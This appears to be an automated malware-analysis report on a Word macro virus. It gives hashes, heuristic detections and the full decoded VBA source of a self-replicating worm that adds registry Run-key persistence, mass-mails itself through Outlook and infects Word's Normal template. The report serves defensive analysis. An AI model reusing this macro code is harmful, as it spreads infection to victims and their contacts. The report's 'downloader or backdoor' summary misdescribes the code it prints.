Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 95b295d2db38d176…

MALICIOUS

Office (OLE)

34.5 KB Created: 2000-06-21 19:41:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: da90e59ca008220b3f6cfcfaeab91615 SHA-1: 658d615d83b1755d533ae34fa2e4993abb3c9a75 SHA-256: 95b295d2db38d176980a6840fbf245f0cfe58084308b051695def8cc4858a4d5
496 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The sample contains a VBA macro that utilizes WScript.Shell to copy itself to Summer.vbs in the user's temporary directory and then creates a registry entry under HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Summer to ensure persistence. The script also attempts to interact with Outlook.Application, though its exact purpose is unclear due to truncation. The presence of WScript.Shell and the registry modification strongly indicate a downloader or backdoor functionality.

Heuristics 12

  • ClamAV: Win.Trojan.SSIWG-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.SSIWG-5
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    sStr = sStr + "sHeader = §Private Sub AutoClose()§+vbCRLF+vbCRLF+vbCRLF+§Dim sStr As String§+vbCRLF+vbCRLF+§sStr = §+Chr(34)+Chr(34)+vbCRLF" + vbCrLf
sStr = sStr + "sFooter =§Dim sFind As Long§+vbCRLF+vbCRLF+§idx = 1§+vbCRLF+§sFind = InStr(idx, sStr, Chr(167), vbBinaryCompare)§+vbCRLF+§While sFind§+vbCRLF+§  Mid(sStr, sFind, 1) = Chr(34)§+vbCRLF+§  sFind = InStr(idx, sStr, Chr(167), vbBinaryCompare)§+vbCRLF+§Wend§+vbCRLF+vbCRLF+§Set fso = CreateObject(§+Chr(34)+§Scripting.FileSystemObject§+Chr(34)+§)§+vbCRLF+§Set Script = fso.CreateTextFile(fso.BuildPath(fso.GetSpecialFolder(0), §+Chr(34)+§export.vbs§+Chr(34)+§), True)§+vbCRLF+§Script.Write s …
sStr = sStr + "' Read our code in" + vbCrLf
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    sStr = sStr + "" + vbCrLf
sStr = sStr + "CreateObject( §WScript.Shell§ ).RegWrite §HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\§ & §Summer§, CreateObject( §Scripting.FileSystemObject§ ).BuildPath( CreateObject( §Scripting.FileSystemObject§ ).GetSpecialFolder(1), §Summer.vbs§ )" + vbCrLf
sStr = sStr + "" + vbCrLf
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    sStr = sStr + "" + vbCrLf
sStr = sStr + "CreateObject( §Scripting.FileSystemObject§ ).CopyFile WScript.ScriptFullName, CreateObject( §Scripting.FileSystemObject§ ).BuildPath( CreateObject( §Scripting.FileSystemObject§ ).GetSpecialFolder(1), §Summer.vbs§ )" + vbCrLf
sStr = sStr + "" + vbCrLf
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    sStr = sStr + "' Get Word's Normal Template" + vbCrLf
sStr = sStr + "Set WordObj = GetObject(§§,§Word.Application§)" + vbCrLf
sStr = sStr + "If WordObj = §§ Then Set WordObj = CreateObject(§Word.Application§)" + vbCrLf
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Private Sub AutoClose()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    sStr = sStr + "sHeader = §Private Sub AutoClose()§+vbCRLF+vbCRLF+vbCRLF+§Dim sStr As String§+vbCRLF+vbCRLF+§sStr = §+Chr(34)+Chr(34)+vbCRLF" + vbCrLf
sStr = sStr + "sFooter =§Dim sFind As Long§+vbCRLF+vbCRLF+§idx = 1§+vbCRLF+§sFind = InStr(idx, sStr, Chr(167), vbBinaryCompare)§+vbCRLF+§While sFind§+vbCRLF+§  Mid(sStr, sFind, 1) = Chr(34)§+vbCRLF+§  sFind = InStr(idx, sStr, Chr(167), vbBinaryCompare)§+vbCRLF+§Wend§+vbCRLF+vbCRLF+§Set fso = CreateObject(§+Chr(34)+§Scripting.FileSystemObject§+Chr(34)+§)§+vbCRLF+§Set Script = fso.CreateTextFile(fso.BuildPath(fso.GetSpecialFolder(0), §+Chr(34)+§export.vbs§+Chr(34)+§), True)§+vbCRLF+§Script.Write s …
sStr = sStr + "' Read our code in" + vbCrLf
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Clipboard command execution lure high SE_CLIPBOARD_COMMAND_LURE
    Document tells the user to copy or paste clipboard content into Run, PowerShell, cmd, or another shell-like execution context
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6551 bytes
SHA-256: 749c71628726ec0a419a10a43f587563d42d707c4f30be9b2f7a60438e2bd9c0
Detection
ClamAV: Win.Trojan.SSIWG-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SummerCity"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub AutoClose()


Dim sStr As String

sStr = ""

sStr = sStr + "' Summer" + vbCrLf
sStr = sStr + "" + vbCrLf
sStr = sStr + "On Error Resume Next" + vbCrLf
sStr = sStr + "" + vbCrLf
sStr = sStr + "Dim A06" + vbCrLf
sStr = sStr + "Dim A07" + vbCrLf
sStr = sStr + "Dim A05" + vbCrLf
sStr = sStr + "Dim A09" + vbCrLf
sStr = sStr + "Dim A10" + vbCrLf
sStr = sStr + "" + vbCrLf
sStr = sStr + "CreateObject( §Scripting.FileSystemObject§ ).CopyFile WScript.ScriptFullName, CreateObject( §Scripting.FileSystemObject§ ).BuildPath( CreateObject( §Scripting.FileSystemObject§ ).GetSpecialFolder(1), §Summer.vbs§ )" + vbCrLf
sStr = sStr + "" + vbCrLf
sStr = sStr + "CreateObject( §WScript.Shell§ ).RegWrite §HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\§ & §Summer§, CreateObject( §Scripting.FileSystemObject§ ).BuildPath( CreateObject( §Scripting.FileSystemObject§ ).GetSpecialFolder(1), §Summer.vbs§ )" + vbCrLf
sStr = sStr + "" + vbCrLf
sStr = sStr + "If CreateObject( §WScript.Shell§ ).RegRead( §HKEY_LOCAL_MACHINE\§ & §Summer§ ) = §§ Or CreateObject( §WScript.Shell§ ).RegRead( §HKEY_LOCAL_MACHINE\§ & §Summer§ ) > 20 Then" + vbCrLf
sStr = sStr + "   CreateObject( §WScript.Shell§ ).RegRead( §HKEY_LOCAL_MACHINE\§ & §Summer§ ) = 0" + vbCrLf
sStr = sStr + "End If" + vbCrLf
sStr = sStr + "" + vbCrLf
sStr = sStr + "If CreateObject( §WScript.Shell§ ).RegRead( §HKEY_LOCAL_MACHINE\§ & §Summer§ ) = 0 Then" + vbCrLf
sStr = sStr + "   Set A05 = CreateObject( §Outlook.Application§ )" + vbCrLf
sStr = sStr + "   Set A06 = A05.GetNameSpace( §MAPI§ )" + vbCrLf
sStr = sStr + "" + vbCrLf
sStr = sStr + "   For Each A07 In A06.AddressLists" + vbCrLf
sStr = sStr + "       Set A08 = A05.CreateItem( 0 )" + vbCrLf
sStr = sStr + "" + vbCrLf
sStr = sStr + "       For A09 = 1 To A07.AddressEntries.Count" + vbCrLf
sStr = sStr + "           Set A10 = A07.AddressEntries( A09 )" + vbCrLf
sStr = sStr + "" + vbCrLf
sStr = sStr + "           If A09 = 1 Then" + vbCrLf
sStr = sStr + "              A08.BCC = A10.Address" + vbCrLf
sStr = sStr + "           Else" + vbCrLf
sStr = sStr + "              A08.BCC = A08.BCC & §; § & A10.Address" + vbCrLf
sStr = sStr + "           End If" + vbCrLf
sStr = sStr + "       Next" + vbCrLf
sStr = sStr + "" + vbCrLf
sStr = sStr + "       A08.Subject = §Hottest Summer News§" + vbCrLf
sStr = sStr + "       A08.Body = §Go to the beach and have fun§" + vbCrLf
sStr = sStr + "       A08.Attachmets.Add WScript.ScriptFullName" + vbCrLf
sStr = sStr + "       A08.DeleteAfterSubmit = True" + vbCrLf
sStr = sStr + "       A08.Send" + vbCrLf
sStr = sStr + "   Next" + vbCrLf
sStr = sStr + "" + vbCrLf
sStr = sStr + "   CreateObject( §WScript.Shell§ ).RegRead( §HKEY_LOCAL_MACHINE\§ & §Summer§ ) = 0" + vbCrLf
sStr = sStr + "End If" + vbCrLf
sStr = sStr + "" + vbCrLf
sStr = sStr + "CreateObject( §WScript.Shell§ ).RegWrite §HKEY_LOCAL_MACHINE\§ & §Summer§, CreateObject( §WScript.Shell§ ).RegRead( §HKEY_LOCAL_MACHINE\§ & §Summer§ ) + 1" + vbCrLf
sStr = sStr + "" + vbCrLf
sStr = sStr + "sHeader = §Private Sub AutoClose()§+vbCRLF+vbCRLF+vbCRLF+§Dim sStr As String§+vbCRLF+vbCRLF+§sStr = §+Chr(34)+Chr(34)+vbCRLF" + vbCrLf
sStr = sStr + "sFooter =§Dim sFind As Long§+vbCRLF+vbCRLF+§idx = 1§+vbCRLF+§sFind = InStr(idx, sStr, Chr(167), vbBinaryCompare)§+vbCRLF+§While sFind§+vbCRLF+§  Mid(sStr, sFind, 1) = Chr(34)§+vbCRLF+§  sFind = InStr(idx, sStr, Chr(167), vbBinaryCompare)§+vbCRLF+§Wend§+vbCRLF+vbCRLF+§Set fso = CreateObject(§+Chr(34)+§Scripting.FileSystemObject§+Chr(34)+§)§+vbCRLF+§Set Script = fso.CreateTextFile(fso.BuildPath(fso.GetSpecialFolder(0), §+Chr(34)+§export.vbs§+Chr(34)+§), True)§+vbCRLF+§Script.Write sStr§+vbCRLF+§Script.Close§+vbCRLF+§winFolder = Environ(§+Chr(34)+§WINDIR§+Chr(34)+§)§+vbCRLF+§'Shell winFolder + §+Chr(34)+§\export.vbs§+Chr(34)+§, 0§+vbCRLF+vbCRLF+§End Sub§+vbCRLF" + vbCrLf
sStr = sStr + "' Read our code in" + vbCrLf
sStr = sStr + "Set fso = CreateObject(§Scripting.FileSystemObject§)" + vbCrLf
sStr = sStr + "Set f = fso.OpenTextFile(Wscript.ScriptFullName, 1)" + vbCrLf
sStr = sStr + "WordVirus = f.Readall()" + vbCrLf
sStr = sStr + "f.Close" + vbCrLf
sStr = sStr + "' Replace any quotes" + vbCrLf
sStr = sStr + "WordVirus = Replace(WordVirus, Chr(34), Chr(167))" + vbCrLf
sStr = sStr + "lines = Split(WordVirus, vbCRLF)" + vbCrLf
sStr = sStr + "For n = 0 to Ubound(lines)" + vbCrLf
sStr = sStr + "  lines(n) = §sStr=sStr+§ & Chr(34) & lines(n) & Chr(34) & §+vbCRLF§" + vbCrLf
sStr = sStr + "Next" + vbCrLf
sStr = sStr + "' Get Word's Normal Template" + vbCrLf
sStr = sStr + "Set WordObj = GetObject(§§,§Word.Application§)" + vbCrLf
sStr = sStr + "If WordObj = §§ Then Set WordObj = CreateObject(§Word.Application§)" + vbCrLf
sStr = sStr + "WordObj.Visible = True" + vbCrLf
sStr = sStr + "WordObj.Activate" + vbCrLf
sStr = sStr + "WordObj.Options.SaveNormalPrompt = False" + vbCrLf
sStr = sStr + "Set NTI1 = WordObj.NormalTemplate.VBProject.VBComponents.Item(1)" + vbCrLf
sStr = sStr + "' Infect Normal Template" + vbCrLf
sStr = sStr + "If NTI1.Name <> §SummerCity§ Then" + vbCrLf
sStr = sStr + "  NTI1.CodeModule.DeleteLines 1, NTI1.CodeModule.CountOfLines" + vbCrLf
sStr = sStr + "  NTI1.CodeModule.InsertLines 1, sFooter" + vbCrLf
sStr = sStr + "  NTI1.CodeModule.InsertLines 1, Join(lines, vbCRLF)" + vbCrLf
sStr = sStr + "  NTI1.CodeModule.InsertLines 1, sHeader" + vbCrLf
sStr = sStr + "  NTI1.Name = §SummerCity§" + vbCrLf
sStr = sStr + "End If" + vbCrLf
sStr = sStr + "' Clean up" + vbCrLf
sStr = sStr + "set NTI1 = Nothing" + vbCrLf
sStr = sStr + "set WordObj = Nothing" + vbCrLf
sStr = sStr + "" + vbCrLf
sStr = sStr + "" + vbCrLf
Dim sFind As Long

idx = 1
sFind = InStr(idx, sStr, Chr(167), vbBinaryCompare)
While sFind
  Mid(sStr, sFind, 1) = Chr(34)
  sFind = InStr(idx, sStr, Chr(167), vbBinaryCompare)
Wend

Set fso = CreateObject("Scripting.FileSystemObject")
Set Script = fso.CreateTextFile(fso.BuildPath(fso.GetSpecialFolder(0), "export.vbs"), True)
Script.Write sStr
Script.Close
winFolder = Environ("WINDIR")
'Shell winFolder + "\export.vbs", 0

End Sub

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